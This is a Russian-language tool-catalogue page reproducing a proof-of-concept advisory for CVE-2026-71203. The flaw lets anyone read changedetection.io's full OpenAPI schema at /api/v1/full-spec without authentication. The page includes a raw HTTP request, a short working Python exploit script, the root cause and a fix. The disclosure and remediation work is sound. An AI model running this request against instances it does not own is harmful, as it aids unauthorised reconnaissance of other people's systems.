Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/nel-droid/cve-2026-71203-poc
Анализ уязвимостейЭксплуатацияТестирование безопасности APIСбор информацииВеб-безопасностьТестирование на ПроникновениеБезопасность API
GitHubnel-droid/cve-2026-71203-poc

CVE-2026-71203-PoC

PoC: раскрытие схемы OpenAPI без аутентификации в changedetection.io (CVE-2026-71203, Medium 5.3)

Репозиторий
724 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-71203 — changedetection.io: Отсутствие аутентификации на /api/v1/full-spec раскрывает полную схему OpenAPI

Продукт: dgtlmoon/changedetection.io — v0.55.7 Файл: changedetectionio/api/Spec.py CWE: CWE-306 — Отсутствие аутентификации для критической функции CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N — 5.3 (средний) CNA: Turan Security · запись CVE

Описание

Ресурсы REST API changedetection.io защищены декоратором @auth.check_token, который проверяет заголовок x-api-key вызывающей стороны, — за исключением ресурса Spec, зарегистрированного по адресу /api/v1/full-spec (), чей метод не имеет ни , ни .

changedetectionio/api/Spec.py
get
@auth.check_token
@validate_openapi_request

Воздействие

Любой неаутентифицированный сетевой клиент может получить полную схему OpenAPI экземпляра, раскрывающую всю внутреннюю поверхность API (все пути ресурсов, параметры и формы ответов) без предъявления какого-либо API-ключа. Хотя сама схема не является чувствительными пользовательскими данными, она даёт атакующему полную и достоверную карту всех остальных конечных точек API для атаки — снижая стоимость дальнейшей разведки по фактически защищённым ресурсам экземпляра.

Воспроизведение

root@kitploit:~
GET /api/v1/full-spec HTTP/1.1
Host: target-instance

Не требуется ни заголовок x-api-key, ни куки, ни какие-либо учётные данные. В ответе возвращается полный документ спецификации OpenAPI.

Подтверждение концепции (Python):

root@kitploit:~
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"

resp = requests.get(f"{target}/api/v1/full-spec", timeout=10)
print(f"[*] Status: {resp.status_code}")
if resp.status_code == 200:
    print("[+] Full OpenAPI schema disclosed with zero authentication:")
    print(resp.text[:1000])

Основная причина

Все остальные REST-ресурсы API зарегистрированы с применением @auth.check_token (и @validate_openapi_request) к их методам-обработчикам; метод get ресурса Spec не был декорирован аналогичным образом, что делает его единственной неаутентифицированной конечной точкой на поверхности, в остальном закрытой API-ключами.

Рекомендация по исправлению

Примените @auth.check_token к Spec.get() по аналогии со всеми остальными ресурсами API. Если же схема предназначена для публичного доступа, оформите это как явное задокументированное решение, а не как непоследовательность.

Скачать инструмент